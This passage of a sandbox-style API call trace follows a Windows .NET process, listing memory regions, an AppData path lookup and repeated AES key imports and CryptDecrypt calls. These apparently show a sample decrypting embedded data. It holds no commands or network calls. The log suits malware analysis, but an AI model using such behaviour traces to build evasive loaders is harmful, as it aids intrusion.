"private_0x0000000005500000" filename = "" Region: id = 2772 start_va = 0x5540000 end_va = 0x557ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 2802 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2806 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2807 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2808 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Thread: id = 153 os_tid = 0xb1c [0155.561] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0155.608] RoInitialize () returned 0x1 [0155.608] RoUninitialize () returned 0x0 [0156.222] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x18dbc8 | out: phkResult=0x18dbc8*=0x0) returned 0x2 [0156.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x18ec44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0156.239] IsAppThemed () returned 0x1 [0156.242] CoTaskMemAlloc (cb=0xf0) returned 0xe72430 [0156.242] CreateActCtxA (pActCtx=0x18f188) returned 0xe80bb4 [0156.246] CoTaskMemFree (pv=0xe72430) [0156.252] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1db [0156.252] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1e0 [0156.299] CoTaskMemAlloc (cb=0x20c) returned 0xe7f2b0 [0156.299] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xe7f2b0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0156.305] CoTaskMemFree (pv=0xe7f2b0) [0156.305] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x18d4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0159.332] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe70210) returned 1 [0159.335] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.336] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.336] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x1 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemFree (pv=0xe7e708) [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemAlloc (cb=0x20) returned 0xe7e730 [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e730, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e730, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemFree (pv=0xe7e730) [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemFree (pv=0xe7e708) [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.337] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.337] CoTaskMemFree (pv=0xe7e708) [0159.338] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.338] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.338] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.338] CoTaskMemFree (pv=0xe7e708) [0159.338] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.338] CoTaskMemAlloc (cb=0x20) returned 0xe7e730 [0159.339] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e730, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e730, pdwDataLen=0x18f160) returned 1 [0159.339] CoTaskMemFree (pv=0xe7e730) [0159.339] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.339] CoTaskMemAlloc (cb=0x20) returned 0xe7e7a8 [0159.339] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e7a8, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e7a8, pdwDataLen=0x18f160) returned 1 [0159.339] CoTaskMemFree (pv=0xe7e7a8) [0159.339] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.339] CoTaskMemAlloc (cb=0x20) returned 0xe7e4b0 [0159.339] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e4b0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e4b0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemFree (pv=0xe7e4b0) [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemFree (pv=0xe7e708) [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemAlloc (cb=0x20) returned 0xe7e438 [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e438, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e438, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemFree (pv=0xe7e438) [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemAlloc (cb=0x20) returned 0xe7e780 [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e780, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e780, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemFree (pv=0xe7e780) [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemAlloc (cb=0x20) returned 0xe7e528 [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e528, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e528, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemFree (pv=0xe7e528) [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.340] CoTaskMemAlloc (cb=0x20) returned 0xe7e438 [0159.340] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e438, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e438, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e438) [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemAlloc (cb=0x20) returned 0xe7e758 [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e758, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e758, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e758) [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemAlloc (cb=0x20) returned 0xe7e438 [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e438, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e438, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e438) [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemAlloc (cb=0x20) returned 0xe7e370 [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e370, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e370, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e370) [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e708) [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemAlloc (cb=0x20) returned 0xe7e4b0 [0159.341] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e4b0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e4b0, pdwDataLen=0x18f160) returned 1 [0159.341] CoTaskMemFree (pv=0xe7e4b0) [0159.342] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.342] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.342] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.342] CoTaskMemFree (pv=0xe7e708) [0159.342] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 1 [0159.342] CoTaskMemAlloc (cb=0x20) returned 0xe7e708 [0159.342] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0xe7e708, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0xe7e708, pdwDataLen=0x18f160) returned 1 [0159.342] CoTaskMemFree (pv=0xe7e708) [0159.342] CryptGetProvParam (in: hProv=0xe70210, dwParam=0x1, pbData=0x0, pdwDataLen=0x18f160, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18f160) returned 0 [0159.345] CryptImportKey (in: hProv=0xe70210, pbData=0x2813304*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f6c0) returned 1 [0159.346] CryptContextAddRef (hProv=0xe70210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.357] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x18f18c | out: pfEnabled=0x18f18c) returned 0x0 [0159.363] CryptContextAddRef (hProv=0xe70210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.363] CryptDuplicateKey (in: hKey=0xe6f6c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f580) returned 1 [0159.363] CryptContextAddRef (hProv=0xe70210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.364] CryptSetKeyParam (hKey=0xe6f580, dwParam=0x4, pbData=0x2813cb0*=0x1, dwFlags=0x0) returned 1 [0159.364] CryptSetKeyParam (hKey=0xe6f580, dwParam=0x1, pbData=0x2813c7c, dwFlags=0x0) returned 1 [0159.366] CryptDecrypt (in: hKey=0xe6f580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2813d90, pdwDataLen=0x18f19c | out: pbData=0x2813d90, pdwDataLen=0x18f19c) returned 1 [0159.376] CryptDecrypt (in: hKey=0xe6f580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2813e9c, pdwDataLen=0x18f19c | out: pbData=0x2813e9c, pdwDataLen=0x18f19c) returned 0 [0159.377] CryptDestroyKey (hKey=0xe6f6c0) returned 1 [0159.377] CryptReleaseContext (hProv=0xe70210, dwFlags=0x0) returned 1 [0159.377] CryptReleaseContext (hProv=0xe70210, dwFlags=0x0) returned 1 [0159.378] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe70760) returned 1 [0159.378] CryptImportKey (in: hProv=0xe70760, pbData=0x28148f8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f000) returned 1 [0159.378] CryptContextAddRef (hProv=0xe70760, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.379] CryptContextAddRef (hProv=0xe70760, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.379] CryptDuplicateKey (in: hKey=0xe6f000, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f6c0) returned 1 [0159.379] CryptContextAddRef (hProv=0xe70760, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.379] CryptSetKeyParam (hKey=0xe6f6c0, dwParam=0x4, pbData=0x2815040*=0x1, dwFlags=0x0) returned 1 [0159.379] CryptSetKeyParam (hKey=0xe6f6c0, dwParam=0x1, pbData=0x281500c, dwFlags=0x0) returned 1 [0159.379] CryptDecrypt (in: hKey=0xe6f6c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2815120, pdwDataLen=0x18f19c | out: pbData=0x2815120, pdwDataLen=0x18f19c) returned 1 [0159.379] CryptDecrypt (in: hKey=0xe6f6c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2815150, pdwDataLen=0x18f19c | out: pbData=0x2815150, pdwDataLen=0x18f19c) returned 0 [0159.380] CryptDestroyKey (hKey=0xe6f000) returned 1 [0159.380] CryptReleaseContext (hProv=0xe70760, dwFlags=0x0) returned 1 [0159.380] CryptReleaseContext (hProv=0xe70760, dwFlags=0x0) returned 1 [0159.380] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe704b8) returned 1 [0159.380] CryptImportKey (in: hProv=0xe704b8, pbData=0x28152c8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f500) returned 1 [0159.380] CryptContextAddRef (hProv=0xe704b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.381] CryptContextAddRef (hProv=0xe704b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.381] CryptDuplicateKey (in: hKey=0xe6f500, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f5c0) returned 1 [0159.381] CryptContextAddRef (hProv=0xe704b8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.381] CryptSetKeyParam (hKey=0xe6f5c0, dwParam=0x4, pbData=0x2815a70*=0x1, dwFlags=0x0) returned 1 [0159.381] CryptSetKeyParam (hKey=0xe6f5c0, dwParam=0x1, pbData=0x2815a3c, dwFlags=0x0) returned 1 [0159.381] CryptDecrypt (in: hKey=0xe6f5c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2815b74, pdwDataLen=0x18f16c | out: pbData=0x2815b74, pdwDataLen=0x18f16c) returned 1 [0159.381] CryptDecrypt (in: hKey=0xe6f5c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2815bcc, pdwDataLen=0x18f19c | out: pbData=0x2815bcc, pdwDataLen=0x18f19c) returned 1 [0159.381] CryptDecrypt (in: hKey=0xe6f5c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2815bf8, pdwDataLen=0x18f19c | out: pbData=0x2815bf8, pdwDataLen=0x18f19c) returned 0 [0159.381] CryptDestroyKey (hKey=0xe6f500) returned 1 [0159.381] CryptReleaseContext (hProv=0xe704b8, dwFlags=0x0) returned 1 [0159.381] CryptReleaseContext (hProv=0xe704b8, dwFlags=0x0) returned 1 [0159.382] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe70078) returned 1 [0159.382] CryptImportKey (in: hProv=0xe70078, pbData=0x2815da0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f3c0) returned 1 [0159.382] CryptContextAddRef (hProv=0xe70078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.383] CryptContextAddRef (hProv=0xe70078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.383] CryptDuplicateKey (in: hKey=0xe6f3c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f700) returned 1 [0159.383] CryptContextAddRef (hProv=0xe70078, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.383] CryptSetKeyParam (hKey=0xe6f700, dwParam=0x4, pbData=0x28164e8*=0x1, dwFlags=0x0) returned 1 [0159.383] CryptSetKeyParam (hKey=0xe6f700, dwParam=0x1, pbData=0x28164b4, dwFlags=0x0) returned 1 [0159.383] CryptDecrypt (in: hKey=0xe6f700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x28165c8, pdwDataLen=0x18f19c | out: pbData=0x28165c8, pdwDataLen=0x18f19c) returned 1 [0159.383] CryptDecrypt (in: hKey=0xe6f700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28165f8, pdwDataLen=0x18f19c | out: pbData=0x28165f8, pdwDataLen=0x18f19c) returned 0 [0159.383] CryptDestroyKey (hKey=0xe6f3c0) returned 1 [0159.383] CryptReleaseContext (hProv=0xe70078, dwFlags=0x0) returned 1 [0159.383] CryptReleaseContext (hProv=0xe70078, dwFlags=0x0) returned 1 [0159.383] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe70298) returned 1 [0159.384] CryptImportKey (in: hProv=0xe70298, pbData=0x2816750*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f240) returned 1 [0159.384] CryptContextAddRef (hProv=0xe70298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.384] CryptContextAddRef (hProv=0xe70298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.384] CryptDuplicateKey (in: hKey=0xe6f240, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f100) returned 1 [0159.384] CryptContextAddRef (hProv=0xe70298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.384] CryptSetKeyParam (hKey=0xe6f100, dwParam=0x4, pbData=0x2816e98*=0x1, dwFlags=0x0) returned 1 [0159.384] CryptSetKeyParam (hKey=0xe6f100, dwParam=0x1, pbData=0x2816e64, dwFlags=0x0) returned 1 [0159.385] CryptDecrypt (in: hKey=0xe6f100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2816f78, pdwDataLen=0x18f19c | out: pbData=0x2816f78, pdwDataLen=0x18f19c) returned 1 [0159.386] CryptDecrypt (in: hKey=0xe6f100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2816fac, pdwDataLen=0x18f19c | out: pbData=0x2816fac, pdwDataLen=0x18f19c) returned 0 [0159.386] CryptDestroyKey (hKey=0xe6f240) returned 1 [0159.386] CryptReleaseContext (hProv=0xe70298, dwFlags=0x0) returned 1 [0159.386] CryptReleaseContext (hProv=0xe70298, dwFlags=0x0) returned 1 [0159.386] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe705c8) returned 1 [0159.386] CryptImportKey (in: hProv=0xe705c8, pbData=0x2817120*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6efc0) returned 1 [0159.387] CryptContextAddRef (hProv=0xe705c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.387] CryptContextAddRef (hProv=0xe705c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.387] CryptDuplicateKey (in: hKey=0xe6efc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6ef40) returned 1 [0159.387] CryptContextAddRef (hProv=0xe705c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.387] CryptSetKeyParam (hKey=0xe6ef40, dwParam=0x4, pbData=0x2817878*=0x1, dwFlags=0x0) returned 1 [0159.387] CryptSetKeyParam (hKey=0xe6ef40, dwParam=0x1, pbData=0x2817844, dwFlags=0x0) returned 1 [0159.387] CryptDecrypt (in: hKey=0xe6ef40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x281795c, pdwDataLen=0x18f16c | out: pbData=0x281795c, pdwDataLen=0x18f16c) returned 1 [0159.387] CryptDecrypt (in: hKey=0xe6ef40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x28179a4, pdwDataLen=0x18f19c | out: pbData=0x28179a4, pdwDataLen=0x18f19c) returned 1 [0159.387] CryptDecrypt (in: hKey=0xe6ef40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28179d8, pdwDataLen=0x18f19c | out: pbData=0x28179d8, pdwDataLen=0x18f19c) returned 0 [0159.387] CryptDestroyKey (hKey=0xe6efc0) returned 1 [0159.387] CryptReleaseContext (hProv=0xe705c8, dwFlags=0x0) returned 1 [0159.388] CryptReleaseContext (hProv=0xe705c8, dwFlags=0x0) returned 1 [0159.388] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe70320) returned 1 [0159.388] CryptImportKey (in: hProv=0xe70320, pbData=0x2817b80*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6f1c0) returned 1 [0159.388] CryptContextAddRef (hProv=0xe70320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.389] CryptContextAddRef (hProv=0xe70320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.389] CryptDuplicateKey (in: hKey=0xe6f1c0, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f240) returned 1 [0159.389] CryptContextAddRef (hProv=0xe70320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.389] CryptSetKeyParam (hKey=0xe6f240, dwParam=0x4, pbData=0x28182d8*=0x1, dwFlags=0x0) returned 1 [0159.389] CryptSetKeyParam (hKey=0xe6f240, dwParam=0x1, pbData=0x28182a4, dwFlags=0x0) returned 1 [0159.389] CryptDecrypt (in: hKey=0xe6f240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x28183bc, pdwDataLen=0x18f16c | out: pbData=0x28183bc, pdwDataLen=0x18f16c) returned 1 [0159.389] CryptDecrypt (in: hKey=0xe6f240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2818404, pdwDataLen=0x18f19c | out: pbData=0x2818404, pdwDataLen=0x18f19c) returned 1 [0159.389] CryptDecrypt (in: hKey=0xe6f240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x281842c, pdwDataLen=0x18f19c | out: pbData=0x281842c, pdwDataLen=0x18f19c) returned 0 [0159.389] CryptDestroyKey (hKey=0xe6f1c0) returned 1 [0159.389] CryptReleaseContext (hProv=0xe70320, dwFlags=0x0) returned 1 [0159.389] CryptReleaseContext (hProv=0xe70320, dwFlags=0x0) returned 1 [0159.389] CryptAcquireContextW (in: phProv=0x18f19c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f19c*=0xe703a8) returned 1 [0159.390] CryptImportKey (in: hProv=0xe703a8, pbData=0x28185a0*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x18f16c | out: phKey=0x18f16c*=0xe6efc0) returned 1 [0159.390] CryptContextAddRef (hProv=0xe703a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.390] CryptContextAddRef (hProv=0xe703a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.390] CryptDuplicateKey (in: hKey=0xe6efc0, pdwReserved=0x0, dwFlags=0x0, phKey=0x18f15c | out: phKey=0x18f15c*=0xe6f000) returned 1 [0159.391] CryptContextAddRef (hProv=0xe703a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0159.391] CryptSetKeyParam (hKey=0xe6f000, dwParam=0x4, pbData=0x2818ce8*=0x1, dwFlags=0x0) returned 1 [0159.391] CryptSetKeyParam (hKey=0xe6f000, dwParam=0x1, pbData=0x2818cb4, dwFlags=0x0) returned 1 [0159.391] CryptDecrypt (in: hKey=0xe6f000, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2818dc8, pdwDataLen=0x18f19c | out: pbData=0x2818dc8, pdwDataLen=0x18f19c) returned 1 [0159.391] CryptDecrypt (in: hKey=0xe6f000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2818df4, pdwDataLen=0x18f19c | out: pbData=0x2818df4, pdwDataLen=0x18f19c) returned 0 [0159.391] CryptDestroyKey (hKey=0xe6efc0) returned 1 [0159.391] CryptReleaseContext (hProv=0xe703a8, dwFlags=0x0) returned 1 [0159.391] CryptReleaseContext (hProv=0xe703a8, dwFlags=0x0) returned 1 [0159.576] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2d8 [0159.578] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a8 [0159.599] SetEvent (hEvent=0x2a8) returned 1 [0159.636] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x18e26c*=0x2d8, 